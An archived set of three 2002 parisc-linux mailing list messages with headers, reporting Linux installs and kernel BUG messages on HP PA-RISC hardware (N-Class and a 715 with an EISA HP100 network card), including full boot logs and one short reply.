X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.93 installations on N-Class.,
Date: Fri, 15 Mar 2002 10:40:50 -0800
Organization: Hewlett Packard
Lines: 231
Approved: news@gmane.org
Message-ID: <3C924032.6E5BB55D@cup.hp.com>
References: <1016088869.3c904925683bb@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621162 4817 80.91.229.3 (22 Nov 2014 01:52:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 11:41:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77A264891
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 11:41:01 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel11.hp.com (Postfix) with ESMTP id 9848E60080B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 10:41:00 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id KAA25847
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 10:40:55 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14353

.93 installation woriking fine on n-class.


uname -a
Linux hpntc668 2.4.9-64 #1 Fri Nov 30 20:18:56 MST 2001 parisc64 unknown



-----------------dmesg -output---------------------------------------------
Linux version 2.4.9-64 (root@paer) (gcc version 3.0) #1 Fri Nov 30 20:18:56 MST
2001
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model   00005d30 00000491 00000000 00000002 270f3a47 100000f0 00000008 000000b2
000000b2
vers    00000300
cpuid   0000024a
CPUID   vers 18 rev 10
model   9000/800/N4000-55
Total Memory: 2048 Mb
pagetable_init
On node 0 totalpages: 524288
zone(0): 524288 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 1097.72 BogoMIPS
Memory: 2023968k available
Dentry-cache hash table entries: 131072 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 9, 2097152 bytes)
Mount-cache hash table entries: 32768 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. Prelude SMC Memory (1) at 0xfffffffffedc0000 [-64], versions 0x90, 0x0, 0x9
2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions
0x803, 0x0, 0xc
3. Elroy PCI Bridge (13) at 0xffffffffbffe0000 [0/0], versions 0x782, 0x0, 0xa
4. Elroy PCI Bridge (13) at 0xffffffffbffe2000 [0/1], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xffffffffbffe4000 [0/2], versions 0x782, 0x0, 0xa
6. Elroy PCI Bridge (13) at 0xffffffffbffe8000 [0/4], versions 0x782, 0x0, 0xa
7. Elroy PCI Bridge (13) at 0xffffffffbffea000 [0/5], versions 0x782, 0x0, 0xa
8. Elroy PCI Bridge (13) at 0xffffffffbfff0000 [0/8], versions 0x782, 0x0, 0xa
9. Elroy PCI Bridge (13) at 0xffffffffbfff4000 [0/10], versions 0x782, 0x0, 0xa
10. Elroy PCI Bridge (13) at 0xffffffffbfff8000 [0/12], versions 0x782, 0x0, 0xa
11. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed40000 [1], versions
0x803, 0x0, 0xc
12. Elroy PCI Bridge (13) at 0xfffffffffece0000 [1/0], versions 0x782, 0x0, 0xa
13. Elroy PCI Bridge (13) at 0xfffffffffece4000 [1/2], versions 0x782, 0x0, 0xa
14. Elroy PCI Bridge (13) at 0xfffffffffece8000 [1/4], versions 0x782, 0x0, 0xa
15. Elroy PCI Bridge (13) at 0xfffffffffecf0000 [1/8], versions 0x782, 0x0, 0xa
16. Elroy PCI Bridge (13) at 0xfffffffffecf4000 [1/10], versions 0x782, 0x0, 0xa
17. Elroy PCI Bridge (13) at 0xfffffffffecf8000 [1/12], versions 0x782, 0x0, 0xa
18. DEW BC Runway Port (7) at 0xfffffffffed20000 [32], versions 0x584, 0x0, 0xc
19. Prelude W+ 540 (0) at 0xfffffffffed21000 [33], versions 0x5d3, 0x0, 0x4
20. DEW BC Runway Port (7) at 0xfffffffffed24000 [36], versions 0x584, 0x0, 0xc
21. Prelude W+ 540 (0) at 0xfffffffffed25000 [37], versions 0x5d3, 0x0, 0x4
22. DEW BC Runway Port (7) at 0xfffffffffed28000 [40], versions 0x584, 0x0, 0xc
23. Prelude W+ 540 (0) at 0xfffffffffed29000 [41], versions 0x5d3, 0x0, 0x4
24. DEW BC Runway Port (7) at 0xfffffffffed2c000 [44], versions 0x584, 0x0, 0xc
25. Prelude W+ 540 (0) at 0xfffffffffed2d000 [45], versions 0x5d3, 0x0, 0x4
26. DEW BC Runway Port (7) at 0xfffffffffed60000 [96], versions 0x584, 0x0, 0xc
27. Prelude W+ 540 (0) at 0xfffffffffed61000 [97], versions 0x5d3, 0x0, 0x4
28. DEW BC Runway Port (7) at 0xfffffffffed64000 [100], versions 0x584, 0x0, 0xc
29. Prelude W+ 540 (0) at 0xfffffffffed65000 [101], versions 0x5d3, 0x0, 0x4
CONFIG_SMP=n  ignoring additional CPUs
Warning : device (0, 0x5d3, 0x0, 0x4) NOT claimed by CPU
CONFIG_SMP=n  ignoring additional CPUs
Warning : device (0, 0x5d3, 0x0, 0x4) NOT claimed by CPU
CONFIG_SMP=n  ignoring additional CPUs
Warning : device (0, 0x5d3, 0x0, 0x4) NOT claimed by CPU
CONFIG_SMP=n  ignoring additional CPUs
Warning : device (0, 0x5d3, 0x0, 0x4) NOT claimed by CPU
CONFIG_SMP=n  ignoring additional CPUs
Warning : device (0, 0x5d3, 0x0, 0x4) NOT claimed by CPU
CPU(s): 1 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Ike rev 2 at 0xfffffffffed00000
SBA found Ike rev 2 at 0xfffffffffed40000
lba version TR2.2 (0x3) found at 0xffffffffbffe0000
lba range[2] : ignoring GMMIO (0xfffffff004000000)
  got res[100:1ff] for resource 0 of Symbios Logic Inc. (formerly NCR) 53c895
  got res[200:2ff] for resource 0 of Symbios Logic Inc. (formerly NCR) 53c875
  got res[300:3ff] for resource 0 of Symbios Logic Inc. (formerly NCR) 53c875
(#2)
  got res[80:ff] for resource 0 of Digital Equipment Corporation DECchip 21142/43

  got res[40:7f] for resource 1 of PCI device 103c:1048 (Hewlett-Packard Company)

  got res[400:43f] for resource 1 of PCI device 103c:1048 (Hewlett-Packard
Company)
  got res[ffffffff80040000:ffffffff8007ffff] for resource 6 of Digital Equipment
Corporation DECchip 21142/43
  got res[ffffffff80001000:ffffffff80001fff] for resource 2 of Symbios Logic Inc.
(formerly NCR) 53c895
  got res[ffffffff80002000:ffffffff80002fff] for resource 2 of Symbios Logic Inc.
(formerly NCR) 53c875
  got res[ffffffff80003000:ffffffff80003fff] for resource 0 of PCI device
103c:1048 (Hewlett-Packard Company)
  got res[ffffffff80004000:ffffffff800043ff] for resource 1 of Digital Equipment
Corporation DECchip 21142/43
  got res[ffffffff80005000:ffffffff800050ff] for resource 1 of Symbios Logic Inc.
(formerly NCR) 53c895
  got res[ffffffff80006000:ffffffff800060ff] for resource 1 of Symbios Logic Inc.
(formerly NCR) 53c875
lba version TR2.2 (0x3) found at 0xffffffffbffe2000
lba range[2] : ignoring GMMIO (0xfffffff084000000)
lba version TR3.0 (0x4) found at 0xffffffffbffe4000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff104000000)
lba version TR3.0 (0x4) found at 0xffffffffbffe8000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff204000000)
lba version TR3.0 (0x4) found at 0xffffffffbffea000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff284000000)
lba version TR3.0 (0x4) found at 0xffffffffbfff0000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff404000000)
lba version TR3.0 (0x4) found at 0xffffffffbfff4000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff504000000)
lba version TR3.0 (0x4) found at 0xffffffffbfff8000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff604000000)
lba version TR3.0 (0x4) found at 0xfffffffffece0000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff804000000)
lba version TR3.0 (0x4) found at 0xfffffffffece4000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR3.0 (0x4) found at 0xfffffffffece8000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR3.0 (0x4) found at 0xfffffffffecf0000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffffc04000000)
lba version TR3.0 (0x4) found at 0xfffffffffecf4000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffffd04000000)
lba version TR3.0 (0x4) found at 0xfffffffffecf8000
kernel BUG at lba_pci.c:1262!
kernel BUG at lba_pci.c:1288!
lba range[2] : ignoring GMMIO (0xfffffffe04000000)
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Performance monitoring counters enabled for Prelude W+ 540
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI
enabled
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (4156,4168,4156,4169)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS00 at port 0x0040 (irq = 132) is a 16550A
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (4156,4168,4156,4170)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS01 at port 0x0400 (irq = 133) is a 16550A
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre6 (July 2, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:10:83:F5:85:5B, IRQ 128.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: 53c875 detected
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: 53c875 detected
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: 53c895 detected
sym53c875-0: rev 0x14 on pci bus 0 device 2 function 0 irq 130
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-1: rev 0x14 on pci bus 0 device 2 function 1 irq 131
sym53c875-1: ID 7, Fast-20, Parity Checking
sym53c895-2: rev 0x1 on pci bus 0 device 1 function 0 irq 129
sym53c895-2: ID 7, Fast-40, Parity Checking
sym53c895-2: SCSI bus mode change from 80 to 80.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
scsi2 : sym53c8xx-1.7.3c-20010512
  Vendor: SEAGATE   Model: ST39103LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST39175LW         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi1, channel 0, id 6, lun 0
Attached scsi disk sdb at scsi2, channel 0, id 6, lun 0
sym53c875-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
sym53c895-2-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sdb: 17783112 512-byte hdwr sectors (9105 MB)
 sdb: unknown partition table
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 16384 buckets, 128Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 249848k swap-space (priority -1)
eth0: Setting full-duplex based on MII#1 link partner capability of 41e1.





From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.93 installations on N-Class.,
Date: Fri, 15 Mar 2002 19:00:21 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20020315190021.Z30538@parcelfarce.linux.theplanet.co.uk>
References: <1016088869.3c904925683bb@webmail.tiscali.be> <3C924032.6E5BB55D@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621162 4826 80.91.229.3 (22 Nov 2014 01:52:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 12:00:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E189C4895
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 12:00:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16lww9-0007ey-00; Fri, 15 Mar 2002 19:00:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C924032.6E5BB55D@cup.hp.com>; from gururaj@cup.hp.com on Fri, Mar 15, 2002 at 10:40:50AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14354

On Fri, Mar 15, 2002 at 10:40:50AM -0800, Gururaj Ananthateerta wrote:
> .93 installation woriking fine on n-class.

So if you compile a 64-bit, CONFIG_SMP=n kernel from head of CVS, does
that also work on your N class?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA 100/10 add-on card causes kernel BUG
Date: Sat, 16 Mar 2002 00:50:13 -0500
Organization: LCN
Lines: 315
Approved: news@gmane.org
Message-ID: <3C92DD15.4060008@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621163 4833 80.91.229.3 (22 Nov 2014 01:52:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 23:11:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from inca.herrera.edu (pool-151-201-226-202.pitt.east.verizon.net [151.201.226.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABD764885
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 23:11:21 -0700 (MST)
Original-Received: from neuronet.pitt.edu (localhost [127.0.0.1])
	by inca.herrera.edu (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g2G5oD830790
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Mar 2002 00:50:13 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020310
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14355

A while ago I asked about support for the EISA 100/10 network cards. By 
enabling the HP100 driver the card gets detected as eth0.

During boot, at the time when the network interface is set up a kernel 
BUG is generated. Similar behavior with kernel version 2.4.18-pa0, too. 
What follows is the console output:

Linux version 2.4.18-pa5 (raffo@inca) (gcc version 3.0.2 20010829 
(prerelease)) #3 Sat Mar 16 00:29:45 EST 2002
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00003160 00000481 00000000 00000000 77b82c78 ffffffff 00000004 
0000000a 0000000a
vers  00000013
model 9000/715
Total Memory: 64 Mb
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/sda3 
eisa_irq_edge=3,4,5,7,9,10,11,14,15  console=ttyS0 palo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 74.75 BogoMIPS
Memory: 61500k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000 [0], versions 0x6, 0x0, 0x77
2. Scorpio Sr. Core BA (11) at 0xf082f000 [2], versions 0x19, 0x0, 0x70
3. Scorpio Sr. Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x19, 0x0, 
0x71
4. Scorpio Sr. Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 
0x19, 0x0, 0x72
5. Scorpio Sr. Core HIL (10) at 0xf0821000 [2/0/3], versions 0x19, 0x0, 0x73
6. Scorpio Sr. Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x19, 
0x0, 0x75
7. Scorpio Sr. Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x19, 
0x0, 0x75
8. Scorpio Sr. Core Centronics (10) at 0xf0824000 [2/0/6], versions 
0x19, 0x0, 0x74
9. Scorpio Sr. Audio (10) at 0xf1000000 [2/0/8], versions 0x19, 0x0, 0x7b
10. Scorpio Sr. EISA BA (11) at 0xfc000000 [4], versions 0x19, 0x0, 0x76
11. Scorpio Sr.(715/75) (0) at 0xfffbe000 [8], versions 0x316, 0x0, 0x4
12. Memory (1) at 0xfffbf000 [9], versions 0x27, 0x0, 0x9
CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz
Asp version 1 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
EISA EEPROM at 0xf0810400
Enumerating EISA bus
EISA slot 1: HWP1990 EISA IRQ 3 <4>IRQ 3 polarity configured twice (last 
to level)

POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
Journalled Block Device driver loaded
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
STI byte mode ROM at f4000000, hpa=f4000000
STI byte mode ROM, id 27f12392-40a00499, conforms to spec rev. 8.02
STI device: HPA1991AC19
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 27f12392, mmio: 0xf4100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ 
SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
hp100: eth0: Using (slow) programmed i/o mode.
hp100: eth0: HP J2577 at 0x1c38, IRQ 3, EISA bus, 128k SRAM (rx/tx 75%).
hp100: eth0: Adapter is attached to 10Mb/s network.
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth1: Couldn't get consistent shared memory
eth1: 82596 at 0xf0826000, 08 00 09 87 89 28 IRQ 87.
82596.c $Revision: 1.29 $
SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
   Vendor: DEC       Model: RZ26L    (C) DEC  Rev: 440C
   Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 2050860 512-byte hdwr sectors (1050 MB)
Partition check:
  sda: sda1 sda2 sda3
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 0 at 0xf1000000, IRQ 82
sticonsole_init: searching for STI ROMs
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
    8regs     : 12246.800 MB/sec
    8regs_prefetch:    55.600 MB/sec
    32regs    :    56.800 MB/sec
    32regs_prefetch:    56.800 MB/sec
raid5: using function: 8regs (12246.800 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM (386k)
INIT: version 2.84 booting
Activating swap.
Adding Swap: 124800k swap-space (priority -1)
Checking root file system...
fsck 1.26 (3-Feb-2002)
/dev/sda3: clean, 37561/110656 files, 129875/220926 blocks
System time was Sat Mar 16 05:42:22 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Sat Mar 16 05:42:35 UTC 2002.
Checking all file systems...
fsck 1.26 (3-Feb-2002)
Setting kernel variables.
Loading the saved-state of the serial devices...
Cannot set serial info: Address already in use
/dev/ttyS0 at 0x0000 (irq = 90) is a 16550A
Cannot set serial info: Address already in use
/dev/ttyS1 at 0x0000 (irq = 89) is a 16550A
Mounting local filesystems...
nothing was mounted
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces:

kernel BUG at printk.c:489!
Linux version 2.4.18-pa5 (raffo@inca) (gcc version 3.0.2 20010829 
(prerelease)) #3 Sat Mar 16 00:29:45 EST 2002
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00003160 00000481 00000000 00000000 77b82c78 ffffffff 00000004 
0000000a 0000000a
vers  00000013
model 9000/715
Total Memory: 64 Mb
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/sda3 
eisa_irq_edge=3,4,5,7,9,10,11,14,15  console=ttyS0 palo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 74.75 BogoMIPS
Memory: 61500k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000 [0], versions 0x6, 0x0, 0x77
2. Scorpio Sr. Core BA (11) at 0xf082f000 [2], versions 0x19, 0x0, 0x70
3. Scorpio Sr. Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x19, 0x0, 
0x71
4. Scorpio Sr. Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 
0x19, 0x0, 0x72
5. Scorpio Sr. Core HIL (10) at 0xf0821000 [2/0/3], versions 0x19, 0x0, 0x73
6. Scorpio Sr. Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x19, 
0x0, 0x75
7. Scorpio Sr. Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x19, 
0x0, 0x75
8. Scorpio Sr. Core Centronics (10) at 0xf0824000 [2/0/6], versions 
0x19, 0x0, 0x74
9. Scorpio Sr. Audio (10) at 0xf1000000 [2/0/8], versions 0x19, 0x0, 0x7b
10. Scorpio Sr. EISA BA (11) at 0xfc000000 [4], versions 0x19, 0x0, 0x76
11. Scorpio Sr.(715/75) (0) at 0xfffbe000 [8], versions 0x316, 0x0, 0x4
12. Memory (1) at 0xfffbf000 [9], versions 0x27, 0x0, 0x9
